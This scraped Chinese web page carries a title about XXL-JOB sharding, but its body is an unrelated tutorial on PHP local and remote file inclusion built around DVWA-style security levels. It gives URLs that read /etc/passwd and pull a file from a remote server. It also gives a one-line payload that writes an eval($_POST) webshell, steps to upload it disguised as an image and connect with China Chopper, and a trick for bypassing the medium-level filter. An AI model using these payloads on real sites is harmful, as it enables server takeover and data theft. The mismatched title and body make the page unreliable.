1. 程式人生 > 其它 >利用 XXL-JOB 實現靈活控制的分片處理

利用 XXL-JOB 實現靈活控制的分片處理

本地檔案包含(LFI)

http://ipaddress.com/index.php?page=f.php
http://ipaddress.com/index.php?page=/etc/passwd

遠端檔案包含(RFI)

http://ipaddress.com/index.php?page=http://remote_server/test.jpg

# 在test.jpg中包含以下內容
<?fputs(fopen("shell.php","w"),'<?php eval($_POST[pass]);?>')?>

檢查php.ini配置檔案

allow_url_include = On

開啟檔案包含功能,開啟後可通過include(), require(), include_once(), require_once()函式去包含某些檔案

allow_url_fopen = On

允許包含一個遠端檔案

本地檔案包含(Webshell)

  1. 製作一句話圖片木馬 test.jpg
<?fputs(fopen("shell.php","w"),'<?php eval($_POST[pass]);?>')?>
  1. 上傳圖片木馬

  2. 執行檔案包含並生成後門

  3. 通過菜刀連線Webshell

遠端檔案包含(Webshell)

建立遠端伺服器,比如在Kali中建立。

建立一個txt檔案

<?fputs(fopen("shell.php","w"),'<?php eval($_POST[pass]);?>')?>

然後做一個遠端檔案包含

通過菜刀連線就好了

低安全級別

<?php
  $file = $_GET['page']; //The page we wish to display 
?>

沒有任何防禦措施,直接包含檔案

中安全級別

<?php
  $file = $_GET['page']; // The page we wish to display 

  // Bad input validation
  $file = str_replace("http://", "", $file);
  $file = str_replace("https://", "", $file);    
?>

http://https://替換成空。可以hthttp://tp://來繞過防禦

高安全級別

<?php
  $file = $_GET['page']; //The page we wish to display 

  // Only allow include.php
  if ( $file != "include.php" ) {
    echo "ERROR: File not found!";
    exit;
   } 
?>

只允許某個特定的檔案被包含,安全,但不好用。